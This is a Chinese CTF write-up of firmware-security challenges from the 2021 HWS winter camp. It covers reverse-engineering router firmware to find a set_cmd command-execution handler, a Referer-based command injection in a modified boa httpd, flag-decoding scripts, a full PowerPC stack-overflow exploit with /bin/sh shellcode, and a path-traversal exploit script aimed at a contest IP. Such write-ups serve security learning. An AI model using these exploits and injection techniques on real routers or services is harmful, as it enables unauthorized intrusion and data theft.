2021HWS冬令营线上赛固件安全WriteUp

lxonz  298天前

作者:lxonz@白帽汇安全研究院

去年去的HWS夏令营,这次有幸AK了入营赛的固件题,运气成分比较高,题也是比较多,差不多打了三个通宵,累是真的累,但从这次题目中又学到了新东西,这么多题是非常不想写wp,但为了总结这次比赛学到的东西,最后还是决定把它记录下来。

ak.png

NodeMCU

签到题,直接binwalk解固件,冲进去cat就完事了

签到.png

bl inkbl ink

拿到固件之后直接先binwalk解固件

binwalk -Me uImage

解完之后猜了一手是httpd服务的命令执行,直接就find httpd了,但是并没有找到该服务,去靶机的login界面看看是不是默认密码,根据之前逆过tenda的固件和vigor 2960的固件来判断,这种路由器的密码都是从/etc/passwd里获取,于是直接搜索

grep -ri "etc/passwd"
Binary file bin/busybox matches
Binary file bin/goahead matches
Binary file lib/libuClibc-0.9.33.2.so matches
Binary file lib/libshare-0.0.26.so matches

找到了几个匹配的文件,busybox首先排除,另外两个libc肯定不是,因此直接定位到goahead文件,IDA直接搜字符串

        ascToUni(v18, v21, v14);
      websSetIpaddr(v18);
      websSetHost((int)v18);
      websSetDefaultPage("login.asp");
      websSetPassword("");
      websOpenServer(80, 5);
      websUrlHandlerDefine((int)"", 0, 0, (int)websSecurityHandler, 1);
      websUrlHandlerDefine((int)"/goform", 0, 0, (int)websFormHandler, 0);
      websUrlHandlerDefine((int)"/cgi-bin", 0, 0, (int)websCgiHandler, 0);
      websUrlHandlerDefine((int)"", 0, 0, (int)websDefaultHandler, 2);
      formDefineCGIjson();
      websUrlHandlerDefine((int)"/", 0, 0, (int)sub_449374, 0);
      if ( !*(_BYTE *)nvram_bufget(0, "Password") )
      {
        doSystem("echo 'admin:x:0:admin' > /etc/group");
        doSystem("echo 'admin:TcigdJt3/FTaQ:0:0:Adminstrator:/:/bin/sh' >/etc/passwd");
        doSystem("echo 'admin::0:0:Adminstrator:/:/bin/sh' > /etc/passwd-");
      }

密码是加密后的可以去CMD5解密,我不想付费所以没解。

看到这段代码狂喜,这里基本上是跟tenda写的差不多,并且tenda的洞也是在goform接口下,进入formDefineCGIjson(),已经可以看到goform下的路径

  websFormDefine((int)"getWanInfo", (int)sub_45D42C);
websFormDefine((int)"get_wanset_info", (int)sub_45D330);
websFormDefine((int)"getLanInfo", (int)sub_45C8B8);
websFormDefine((int)"get_wifi_info", (int)sub_45D1C0);
websFormDefine((int)"get_5wifi_info", (int)sub_45D050);
websFormDefine((int)"get_wifi_switch", (int)sub_45CF18);
websFormDefine((int)"get_5wifi_switch", (int)sub_45CDE0);
websFormDefine((int)"set_wifi_switch", (int)sub_45CC14);
websFormDefine((int)"set_5wifi_switch", (int)sub_45CA18);
websFormDefine((int)"get_lan_info", (int)sub_45C734);
websFormDefine((int)"get_terminallist_info", (int)sub_45C5E0);
websFormDefine((int)"get_blacklist_info", (int)sub_45C478);
websFormDefine((int)"get_staticlist_info", (int)sub_45C340);
websFormDefine((int)"get_channelquality_info", (int)sub_45C244);
websFormDefine((int)"set_blacklist", (int)sub_45BFAC);
websFormDefine((int)"set_staticlist", (int)sub_45BCCC);
websFormDefine((int)"test_speed_info", (int)sub_45BB6C);
websFormDefine((int)"get_signal_info", (int)sub_45BA34);
websFormDefine((int)"get_signal5_info", (int)sub_45B8FC);
websFormDefine((int)"get_manpwd_info", (int)sub_45B7C4);
websFormDefine((int)"set_manpwd", (int)sub_45B4C8);
websFormDefine((int)"get_visiter_info", (int)sub_45B390);
websFormDefine((int)"set_visitor", (int)sub_45B038);
websFormDefine((int)"get_visitor5_info", (int)sub_45AF00);
websFormDefine((int)"set_visitor5_info", (int)sub_45ABA8);
websFormDefine((int)"get_version_info", (int)sub_45AA10);
websFormDefine((int)"upgrade_version", (int)sub_45A894);
websFormDefine((int)"set_bandwidth_check", (int)sub_45A740);
websFormDefine((int)"get_router_info", (int)sub_45A5D0);
websFormDefine((int)"set_WanEasy", (int)sub_459FFC);
websFormDefine((int)"set_EasyCfg", (int)sub_45925C);
websFormDefine((int)"set_refine_channel", (int)sub_459124);
websFormDefine((int)"set_Lanset", (int)sub_458DF8);
websFormDefine((int)"set_wifi", (int)sub_4589E4);
websFormDefine((int)"set_5wifi", (int)sub_4586A0);
websFormDefine((int)"set_channel", (int)sub_458530);
websFormDefine((int)"set_pamode", (int)sub_45836C);
websFormDefine((int)"set_pa5mode", (int)sub_4581A8);
websFormDefine((int)"set_restore", (int)sub_45801C);
websFormDefine((int)"set_reboot", (int)sub_457EE4);
websFormDefine((int)"get_plugins_cfg", (int)sub_44DE84);
websFormDefine((int)"set_hidessid_cfg", (int)sub_44DC84);
websFormDefine((int)"get_hidessid_cfg", (int)sub_44DAD4);
websFormDefine((int)"get_upnpport_cfg", (int)sub_44D920);
websFormDefine((int)"get_router_status", (int)sub_44D798);
websFormDefine((int)"get_mobile_fun_list", (int)sub_44D610);
websFormDefine((int)"set_cmd", (int)sub_44D41C);
websFormDefine((int)"get_led_status", (int)sub_44D294);
websFormDefine((int)"set_led_status", (int)sub_44CF0C);
websFormDefine((int)"get_dns_switch", (int)sub_44CD84);
websFormDefine((int)"set_dns_switch", (int)sub_44CBE8);
websFormDefine((int)"get_hw_nat", (int)sub_44CA60);
websFormDefine((int)"set_hw_nat", (int)sub_44C8C4);

其中set_cmd名字起的就很让人关注

  char *v2; // $s5
int v3; // $v0
int v4; // $s0
int v5; // $v0
int v6; // $s2
char v8[8200]; // [sp+20h] [-2008h] BYREF

v2 = websGetVar(a1, (int)"cmd", "");
bl_print(3, "CGI_json.c", "set_cmd", 3968, "cmd = %s\n", v2);
v4 = cJSON_Createob ject();
v3 = cJSON_CreateString("setcmd");
cJSON_AddItemToob ject(v4, "type", v3);
v5 = cJSON_CreateString(v2);
cJSON_AddItemToob ject(v4, "cmd", v5);
v6 = cJSON_PrintUnformatted(v4);
memset(v8, 0, 8196);
bs_SetCmd(v6, v8);
bl_print(3, "CGI_json.c", "set_cmd", 3976, "back = %s\n", v8);
websResponse(a1, 200, v8, 0);
free(v6);
return cJSON_Delete(v4);

看了一下不是常规的dosystem命令执行,发现有一个bs_setcmd函数,这个函数是在libshare里,我们在打开libshare看一下(至于怎么搜到的,还是用grep -ri定位)

int __fastcall bs_SetCmd(const char *a1, int a2)
{
int v4; // $s1
int v5; // $s0
int v6; // $v0
int v7; // $v0
int v8; // $fp
int v9; // $v0
int v10; // $fp
int v11; // $v0
int v12; // $s2
int v13; // $fp
int v14; // $v0
int v15; // $v0
int v16; // $a0
const char *v17; // $a1
int v18; // $s5
char v20[256]; // [sp+20h] [-1F00h] BYREF
char v21[500]; // [sp+120h] [-1E00h] BYREF
char v22[1024]; // [sp+314h] [-1C0Ch] BYREF
char v23[6148]; // [sp+714h] [-180Ch] BYREF
int v24; // [sp+1F18h] [-8h]

memset(v23, 0, 6144);
memset(v22, 0, sizeof(v22));
memset(v21, 0, sizeof(v21));
memset(v20, 0, sizeof(v20));
v4 = cJSON_Parse(a1);
if ( v4 )
{
  bl_print(3, "libshare.c", "bs_SetCmd", 16411, "in == %s\n", a1);
  v5 = cJSON_Createob ject();
  v6 = cJSON_CreateString("setcmd");
  cJSON_AddItemToob ject(v5, "type", v6);
  v7 = cJSON_Getob jectItem(v4, "type");
  if ( v7 && (v8 = *(_DWORD *)(v7 + 16), v24 = strlen(v8), v9 = strlen("setcmd"), v24 == v9) && !memcmp(v8, "setcmd") )
  {
    v10 = cJSON_Getob jectItem(v4, "cmd");
    if ( !v10 )
    {
      bl_print(3, "libshare.c", "bs_SetCmd", 16423, "command execute fail\n");
      v11 = cJSON_CreateNumber(0, 1072693248);
      cJSON_AddItemToob ject(v5, "result", v11);
      v12 = cJSON_PrintUnformatted(v5);
      cJSON_Delete(v5);
      cJSON_Delete(v4);
      strcpy(a2, v12);
      free(v12);
      return 0;
    }
    memset(v20, 0, sizeof(v20));
    strcpy(v20, *(_DWORD *)(v10 + 16));
    sprintf(v22, &off_4F2CC, v20);
    v13 = popen(v22, "r");

这里可以看到他传入两个参数对应v6和和v8,a1变成v4,v4变成v10,v10复制进了v20,V20拼接进v22,然后popen命令执行,虽说不清楚他自己封装的函数是干什么的,但是也可以大概猜到了这里就是我们需要的命令执行。

STM

binwalk之后会发现什么都看不出来,也解不出固件,但hint里给了STM32,因此搜了搜关于STM32的固件该如何解包时,发现了一篇文章https://www.angelic47.com/archives/97/按照这位师傅的方法,IDA成功识别固件。

进去逛了逛,发现sub_8000314()比较可疑

_BYTE *sub_8000314()
{
_DWORD *v0; // r4
unsigned __int8 *v1; // r5
int v2; // r6
char v3; // t1

v0 = sub_80003F0(48);
v1 = (unsigned __int8 *)&byte_8000344;
v2 = 0;
while ( v2++ != 0 )
{
  v3 = *v1++;
  *(_BYTE *)v0 = (v3 ^ 0x1E) + 3;
  v0 = (_DWORD *)((char *)v0 + 1);
  sub_8000124(v1);
}
return v0;
}

将算法复原即可获得flag,V1是原数据,经过(v3 ^ 0x1E) + 3的处理给V0,在对其进行char类型转换,拼接起来就是flag,脚本如下:

v1 = [0x7D, 0x77, 0x40, 0x7A, 0x66, 0x30, 0x2A, 0x2F, 0x28, 0x40, 0x7E, 0x30, 0x33, 0x34, 0x2C, 0x2E, 0x2B, 0x28, 0x34, 0x30, 0x30, 0x7C, 0x41, 0x34, 0x28, 0x33, 0x7E, 0x30, 0x7E, 0x2F, 0x31, 0x2A, 0x41, 0x7F, 0x2F, 0x28, 0x2E, 0x64]

flag_list = []
for i in range(len(v1)):
    flag = chr((v1[i] ^ 0x1E) + 3)
    flag_list.append(flag)
print("".join(flag_list))

STM.png

PPPPPPC

这是一道powerpc架构的pwn,因为完全没接触过这个架构,做题之前搜了下资料,找到了这篇文章https://4f-kira.github.io/2019/06/09/powerpc/

寄存器

序号寄存器功能
1GPR0-GPR31(共32个寄存器)整数运算和寻址通用寄存器.在ABI规范中,GPR1用于堆栈指针,GPR3-GPR4用于函数返回值,GPR3-GPR10用于参数传递
2FPR0-FPR31(共32个寄存器)用于浮点运算。PPC32和PPC64的浮点数都是64位
3LR连接寄存器,记录转跳地址,常用于记录子程序返回的地址。
4CR条件寄存器。
5XER特殊寄存器,记录溢出和进位标志,作为CR的补充
6CTR计数器,用途相当于ECX
7FPSCR浮点状态寄存器,用于浮点运算类型的异常记录等,可设置浮点异常捕获掩码
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/ppppc# checksec PPPPPPC 
[*] '/root/pwn/ppppc/PPPPPPC'
    Arch:     powerpc-32-big
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments

保护没开,大端序,第一反应就是ret2shellcode,并且如果溢出的话报错信息还会返回此时寄存器的值

对于这道题来说,我们只需要认识LR寄存器作用就行了,因为LR寄存器是ret地址,我们只要成功控制LR,就能getshell

在IDA中我们看到了有关0x140大小的指令,因此我们试一下覆盖到lr的偏移具体是多少

0x140.png

bye~
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/ppppc# qemu-ppc-static -L ./ ./PPPPPPC 
Hello, welcome to hws!
Tell me your name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA
bye~
Invalid data memory access: 0x41254e40
NIP 41254e40   LR 41254e41 CTR 1000de00 XER 00000000 CPU#0
MSR 00006040 HID0 00000000  HF 00006000 idx 0
TB 00946717 4066119728694850
GPR00 0000000041254e41 00000000f6fff0d0 00000000100bb4d0 0000000000000000
GPR04 00000000100a01a7 0000000000000001 00000000100a01a7 0000000000000001
GPR08 00000000ffffffff 0000000000000000 0000000000000001 00000000f6fff0d0
GPR12 0000000000000000 00000000100a8de8 0000000000000000 0000000000000000
GPR16 0000000000000000 0000000000000000 0000000000000020 00000000100a0000
GPR20 00000000100a0ee0 00000000100a0ed8 00000000100a0000 0000000000500000
GPR24 0000000000000000 0000000010000138 00000000100a0ee0 0000000000000000
GPR28 0000000000000000 0000000010000f80 0000000010000e80 00000000254d4125
CR 24000222  [ E  G  -  -  -  E  E  E  ]             RES ffffffff
FPR00 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR04 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR08 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR12 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR16 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR20 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR24 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR28 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPSCR 00000000
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/ppppc# 

可以看到已经覆盖到了LR,那我们0x140-4再试一下

溢出.png

没什么毛病,偏移就是0x13c,我们如果断到0x10000470也有体现

lr.png

下面就是寻找shellcode了,我们只需要在0x140的位置填入我们想要跳转的地址即可,并在跳转之前在该位置写好shellcode,那跳转之前的位置怎么确定呢?

我需要关注一下溢出之后的报错信息,他将R0-R31全给我们打印了出来,其中R11寄存器里的0xf6fff0e0比较醒目,并且没有其他长得跟栈地址差不多的地址了,因此根据我们的思路将其减去0x13c跳回写入shellcode的地方就完事了。(上面两个地址不一样是一个是直接起的进程,一个是-g放到端口上,以-g 启动的0xf6fff0e0为标准)

exp如下:

from pwn import *
context.log_level = "debug"
context.arch = "powerpc"
context.endian = "big"
p = process(["qemu-ppc-static", "-g", "1233", "-L", "./" ,"./PPPPPPC"])
shellcode = "\x7c\x3f\x0b\x78"	#/*mr	r31,r1*/
shellcode +="\x7c\xa5\x2a\x79"	#/*xor.	r5,r5,r5*/
shellcode +="\x42\x40\xff\xf9"	#/*bdzl+	10000454< main>*/
shellcode +="\x7f\x08\x02\xa6"	#/*mflr	r24*/
shellcode +="\x3b\x18\x01\x34"	#/*addi	r24,r24,308*/
shellcode +="\x98\xb8\xfe\xfb"	#/*stb	r5,-261(r24)*/
shellcode +="\x38\x78\xfe\xf4"	#/*addi	r3,r24,-268*/
shellcode +="\x90\x61\xff\xf8"	#/*stw	r3,-8(r1)*/
shellcode +="\x38\x81\xff\xf8"	#/*addi	r4,r1,-8*/
shellcode +="\x90\xa1\xff\xfc"	#/*stw	r5,-4(r1)*/
shellcode +="\x3b\xc0\x01\x60"	#/*li	r30,352*/
shellcode +="\x7f\xc0\x2e\x70"	#/*srawi	r0,r30,5*/
shellcode +="\x44\xde\xad\xf2"	#/*.long	0x44deadf2*/
shellcode +="/bin/shZ"
payload = shellcode.ljust(0x13c, 'a') + p32(0xf6ffefa4)
p.recvuntil("Tell me your name: ")
p.sendline(payload)
p.interactive()

httpd(西湖论剑babyboa改)

这题是西湖论剑babyboa改的,刚开始搜了一篇文章https://pup2y.github.io/2020/11/16/xi-hu-lun-jian-iot-chuang-guan-sai-babyboa/

原来是栈溢出的漏洞,但根据文章的对比,咱们可以明显发现有一个地方不太一样,原来的长这样

httpd1.png

现在长这样

httpd2.png

一对比可以明显发现多了个system调用,并且整个程序只有这里调用了system,那我们大概率也可以猜到就是命令执行了,上面的是通过源码里的结构体恢复了程序的一些逻辑,比如关键的a1就是referer,而referer字段就是命令执行的地方,让password等于http-server在进行base64加密,扔进auth字段即可。

恢复的过程是这样,我们通过下载源码http://www.boa.org/,找到里面的globals.h,导入IDA时会报错,在根据报错信息修修改改结构体,即可成功导入,导入完成之后,在对比源码会发现多了一个登录功能,在增加一个auth的结构体,即可修复完成,然后就能看见如上修复好的字段了

httpd3.png

httpd4.png

我们最后使用wget把flag读出来就可以了

easybios

下载下来之后先根据文件里面的提示启动,会发现里面有个getflag的功能,他会打印出你输入的内容,并且返回一个Wrong!

easybios.png

binwalk解包,解包的过程中会发现有一堆PE文件

但是因为binwalk不会给咱们切割,所以需要用winhex手动切割,我们通过wrong来定位PE文件的位置然后切割即可

easybios2.png

看到wrong的位置之后,我们把他的位置跟binwalk给的信息对比找到上界和下界切割即可提取出我们想要的PE文件

easybios3png.png

进去之后alt+t搜字符串找到了wrong所在的函数,进行分析,我们可以看到他先判断了我们输入的数据是否是小写,然后做了个类型转换,在放进changehex里,这里注意,因为IDA的问题,changehex()其实是changehex(v16),这块需要看汇编,进入函数之后,可以看到他生成flag的算法,直接照抄复现即可

.text:0000000000031F46                 inc     rax
.text:0000000000031F49                 cmp     rax, 20h ; ' '
.text:0000000000031F4D                 jnz     short loc_31F29
.text:0000000000031F4F                 lea     rbx, [rsp+0B8h+var_3C]
.text:0000000000031F54                 mov     edx, 20h ; ' '
.text:0000000000031F59                 mov     r9d, 14h
.text:0000000000031F5F                 mov     rcx, r12
.text:0000000000031F62                 mov     r8, rbx
.text:0000000000031F65                 mov     rdi, rbx
.text:0000000000031F68                 call    strHexToBytes
.text:0000000000031F6D                 call    changehex
.text:0000000000031F72                 xor     eax, eax
.text:0000000000031F74                 lea     rdx, qword_75C10

可以看到v0是从rdi来的

  __int64 v0; // rdi
  __int64 i; // rcx
  __int64 v2; // rcx
  int v3; // edx
  int v4; // er8
  int v5; // er11
  __int64 v6; // rcx
  int v7; // er10
  int v8; // er11
  int v9; // ebx
  __int64 v10; // r9
  int v11; // edx
  __int64 result; // rax
  int v13[514]; // [rsp+0h] [rbp-808h]

  for ( i = 0i64; i != 256; ++i )
  {
    v13[i] = i;
    v13[i + 256] = (unsigned __int8)aOvmfAndEasyBio[(int)i % 18];
  }
  v2 = 0i64;
  v3 = 0;
  do
  {
    v4 = v13[v2];
    v3 = (v13[v2 + 256] + v4 + v3) % 256;
    v5 = v13[v3];
    v13[v3] = v4;
    v13[v2++] = v5;
  }
  while ( v2 != 256 );
  v6 = 0i64;
  v7 = 0;
  LOBYTE(v8) = 0;
  do
  {
    v8 = (unsigned __int8)(v8 + 1);
    v9 = v13[v8];
    v10 = (v9 + v7) % 256;
    v11 = v13[v10];
    v13[v10] = v9;
    v7 = (v9 + v7) % 256;
    v13[v8] = v11;
    result = (unsigned int)v13[(v11 + v13[v10]) % 256];
    *(_BYTE *)(v0 + v6++) ^= result;
  }
  while ( v6 != 16 );
  return result;
def print_bytes_hex(data):
  lin = ['%0x' % i for i in data]
  print("".join(lin))

magic = 'OVMF_And_Easy_Bios'
demo = [0x46, 0x77, 0x74, 0xb0, 0x27, 0x8e, 0x8f, 0x5b, 0xe9, 0xd8, 0x46, 0x9c, 0x72, 0xe7, 0x2f, 0x5e]
v13 = [0]*514
for i in range(256):
  v13[i] = i
  v13[i+256] = ord(magic[i%18])


v2 = 0
v3 = 0
new_list = []
while v2!=256:
  v4 = v13[v2]
  v3 = (v13[v2 + 256] + v4 + v3) % 256
  v5 = v13[v3]
  v13[v3] = v4
  v13[v2] = v5
  v2+=1

v6 = 0
v7 = 0
v8 = 0

while v6 != 16:
  v8 = v8 + 1
  v9 = v13[v8]
  v10 = (v9 + v7) % 256
  v11 = v13[v10]
  v13[v10] = v9
  v7 = (v9 + v7) % 256
  v13[v8] = v11
  result = v13[(v11 + v13[v10]) % 256]
  new_list.append(result)
  #(v0 + v6) ^= result
  v6 += 1
#print len(demo)
#print len(new_list)
flag_list = []
for i in range(16):
  flag_list.append(new_list[i]^demo[i])
  print(hex(new_list[i]^demo[i]))

print_bytes_hex(flag_list)

#flag{88baec0b5154f859b5851097bb567f5c}

easymsg(原西湖论剑messagebox改)

这道题纯属运气好,因为知道是西湖论剑的题,先找了原来的exp去打,多打了几次直接通了,但跟原来的题是有区别的,最后也没去深究

from pwn import *
import zlib
context(log_level='debug',endian='big')
io = remote("183.129.189.60",10016)
payload = "readFile:"+"/"*0x100+"/flag"
crc = int(zlib.crc32(payload)& 0xffffffff)
io.send("HwsDDW"+p16(len(payload))+"\x01\x02"+p32(crc)+payload)
io.interactive()

赛后交流的过程中,队里另外的一个师傅G3n3rous通过命令注入的方式打通了地址在这里,大家可以去看一下https://www.jianshu.com/p/8a1937f685e0


本文为白帽汇原创文章,如需转载请注明来源:https://nosec.org/home/detail/4672.html

最新评论

昵称
邮箱
提交评论